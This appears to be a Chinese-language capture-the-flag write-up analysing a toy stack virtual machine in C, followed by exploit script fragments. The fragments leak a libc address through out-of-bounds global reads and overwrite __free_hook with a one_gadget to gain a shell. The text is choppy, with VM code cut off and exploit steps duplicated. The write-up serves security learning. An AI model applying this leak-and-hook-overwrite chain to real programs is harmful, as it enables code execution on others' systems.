typedefenum { NOOP = 0, IADD = 1, // int add ISUB = 2, // int sub IMUL = 3, // int multiply ILT = 4, // int less than IEQ = 5, // int equal BR = 6, // branch BRT = 7, // branch if true BRF = 8, // branch if true ICONST = 9, // push constant integer LOAD = 10, // load from local context GLOAD = 11, // load from global memory STORE = 12, // store in local context GSTORE = 13, // store in global memory PRINT = 14, // print stack top POP = 15, // throw away top of stack CALL = 16, // call function at address with nargs,nlocals RET = 17, // return value from function HALT = 18 } VM_CODE;
如果了解ARM架构会对此指令集比较熟悉,这个指令集和ARM很类似。
与之相关的,有以下的虚拟机操作函数。
1 2 3 4 5 6 7
VM *vm_create(int *code, int code_size, int nglobals); voidvm_free(VM *vm); voidvm_init(VM *vm, int *code, int code_size, int nglobals); voidvm_exec(VM *vm, int startip, bool trace); voidvm_print_instr(int *code, int ip); voidvm_print_stack(int *stack, int count); voidvm_print_data(int *globals, int count);
可以看到这个vm能做的比较少,只有新建,执行,free以及一些调试函数。
分析一下第一个函数的返回值,VM结构体
1 2 3 4 5 6 7 8 9 10 11 12
typedefstruct { int *code; int code_size;
// global variable space int *globals; int nglobals;
int a = 0; int b = 0; int addr = 0; int offset = 0;
ip = startip; sp = -1; callsp = -1; int opcode = vm->code[ip];
接下来是循环体。用于处理自定义汇编代码
1 2 3 4 5 6 7 8 9
while (opcode != HALT && ip < vm->code_size) { if (trace) vm_print_instr(vm->code, ip); ip++; //jump to next instruction or to operand switch (opcode) { case IADD: b = vm->stack[sp--]; // 2nd opnd at top of stack a = vm->stack[sp--]; // 1st opnd 1 below top vm->stack[++sp] = a + b; // push result break;
case ISUB: b = vm->stack[sp--]; a = vm->stack[sp--]; vm->stack[++sp] = a - b; break; case IMUL: b = vm->stack[sp--]; a = vm->stack[sp--]; vm->stack[++sp] = a * b; break;
case ILT: b = vm->stack[sp--]; a = vm->stack[sp--]; vm->stack[++sp] = (a < b) ? true : false; break; case IEQ: b = vm->stack[sp--]; a = vm->stack[sp--]; vm->stack[++sp] = (a == b) ? true : false;
接下来是三个跳转指令。
1 2 3 4 5 6 7 8 9 10 11
case BR: // 直接跳转 ip = vm->code[ip]; break; case BRT: // 正确时跳转 addr = vm->code[ip++]; if (vm->stack[sp--] == true) ip = addr; break; case BRF: // 错误时跳转 addr = vm->code[ip++]; if (vm->stack[sp--] == false) ip = addr; break;
case GLOAD: // load from global memory addr = vm->code[ip++]; vm->stack[++sp] = vm->globals[addr]; break; case STORE: offset = vm->code[ip++]; vm->call_stack[callsp].locals[offset] = vm->stack[sp--]; break; case GSTORE: // store to global variable addr = vm->code[ip++]; vm->globals[addr] = vm->stack[sp--]; break;
case CALL: // expects all args on stack addr = vm->code[ip++]; // index of target function int nargs = vm->code[ip++]; // how many args got pushed int nlocals = vm->code[ip++]; // how many locals to allocate ++callsp; // bump stack pointer to reveal space for this call vm_context_init(&vm->call_stack[callsp], ip, nargs+nlocals); // copy args into new context for (int i=0; i<nargs; i++) { vm->call_stack[callsp].locals[i] = vm->stack[sp-i]; } sp -= nargs; ip = addr; // jump to function break;
# step2 get __libc_start_main, using gdb to find __libc_start_main is 0x218 to *globals # load it to stack """ load 1 load 0 iconst 0 gload {0x218 // 4 + 1} store 0 gload {0x218 // 4} """
# step3 get free_hook, now libc_addr is already on the vm stack, we can using it to calculate free_hook addr """ iconst {libc.libc_start_main_return} isub iconst {libc.symbols['__free_hook']} iadd"""
code+=p32(ICONST) + p32(libc.symbols['__libc_start_main']) code+=p32(ISUB) # get libc_base and store on VM's stack code+=p32(ICONST) + p32(libc.symbols['__free_hook']) code+=p32(IADD) # libc_base+free_hook store on vm's stack
#---------------------------------------------------------------------------------------- # step2 get __libc_start_main, using gdb to find __libc_start_main is 0x218 to *globals # load it to stack """ load 1 load 0 iconst 0 gload {0x218 // 4 + 1} store 0 gload {0x218 // 4} """
# step3 get free_hook, now libc_addr is already on the vm stack, we can using it to calculate free_hook addr """ iconst {libc.libc_start_main_return} isub iconst {libc.symbols['__free_hook']} iadd"""
code+=p32(ICONST) + p32(159923) # using gdb code+=p32(ISUB) # get libc_base and store on VM's stack code+=p32(ICONST) + p32(libc.symbols['__free_hook']) code+=p32(IADD) # libc_base+free_hook store on vm's stack
#---------------------------------------------------------------------------------------- # step4: replace free_hook # first store free_hook to *data, then replace it woth og # one_gadget_address = __free_hook - libc.symbols['__free_hook'] + one_gadget_offset """ store 1 print print print load 1 load 0 iconst 0 load 0 load 1 iconst {libc.symbols['__free_hook']} isub iconst {one_gadget} iadd gstore 0 gstore 1 halt"""